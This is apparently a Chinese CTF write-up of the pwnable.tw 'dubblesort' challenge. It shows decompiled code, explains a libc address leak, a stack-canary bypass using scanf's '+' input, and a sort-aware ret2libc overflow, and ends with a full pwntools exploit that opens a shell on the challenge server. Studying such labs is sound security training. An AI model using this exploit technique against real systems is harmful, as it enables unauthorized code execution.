PWNABLE dubblesort
查看文件基本信息
分析程序行为
静态分析
int __cdecl main(int argc, const char **argv, const char **envp) { int Length; // eax unsigned int *temp; // edi unsigned int i; // esi unsigned int j; // esi int result; // eax unsigned int length; // [esp+18h] [ebp-74h] BYREF unsigned int input_array[8]; // [esp+1Ch] [ebp-70h] BYREF char buf[64]; // [esp+3Ch] [ebp-50h] BYREF unsigned int canary; // [esp+7Ch] [ebp-10h] canary = __readgsdword(0x14u); sub_8B5(); __printf_chk(1, (int)"What your name :"); read(0, buf, 64u); // 只能输入最大64个字符,所以不能泄露canary // 但是因为read不会在输入的字符串后面添加/x00截断 // 所以可以配合下面的printf泄露栈上的其他数据 // 这里很容易看到canary就想着泄露它而走入死胡同 __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :"); __isoc99_scanf("%u", &length); // 没有限制长度,所以可以进行栈溢出 Length = length; if ( length ) { temp = input_array; for ( i = 0; i < length; ++i ) { __printf_chk(1, (int)"Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", temp); // scanf有一个漏洞就是输入+或者-将会当作空而跳过 Length = length; ++temp; } } sort(input_array, Length); // sort函数是对栈里的数据进行换位 puts("Result :"); if ( length ) { for ( j = 0; j < length; ++j ) __printf_chk(1, (int)"%u "); } result = 0; if ( __readgsdword(0x14u) != canary ) sub_BA0(); return result; }
动态调试
静态分析中,得知并不能泄露canary,但是可以泄露栈上的其他数据,比如这个GOT表,可以泄露出来
可以通过填充25个a来泄露
漏洞利用
1.通过read不自动补充\x00截断,且配合printf函数来打印出GOT表的地址
2.通过IDA中,按Ctrl+S可以查看到GOT表的本地地址在0x1B0000,所以泄露的地址减去本地地址即可得到libc的基地址
3.利用数组长度没有限制,可以进行栈溢出。 和 scanf函数输入+或者-会跳过的特性。可以在填充到canary的地址处用+或者-来跳过从而不更改canary的值。鉴于sort会对输入的数据进行排序,所以在构造payload的时候,只要保持canary前的数据比canary小,后面的数据比canary大就好了。
EXP
from pwn import * # context.log_level = 'debug' # io=process('./dubblesort') io=remote('chall.pwnable.tw','10101') elf=ELF('./dubblesort') libc=ELF('libc_32.so.6') # gdb.attach(proc.pidof(io)[0]) io.recvuntil('What your name :') io.send('a'*25) io.recvuntil('a'*25) addr_GOT=u32('\x00'+io.recv(numb=3)) libc.address=addr_GOT-0x1b0000 addr_system=libc.sym['system'] addr_bin_sh=libc.search('/bin/sh').next() io.sendline(str(35)) for i in range(24): io.recvuntil('number : ') io.sendline('0') io.recvuntil('number : ') io.sendline('+') for i in range(9): io.recvuntil('number : ') io.sendline(str(addr_system)) io.recvuntil('number : ') io.sendline(str(addr_bin_sh)) io.recv() io.interactive()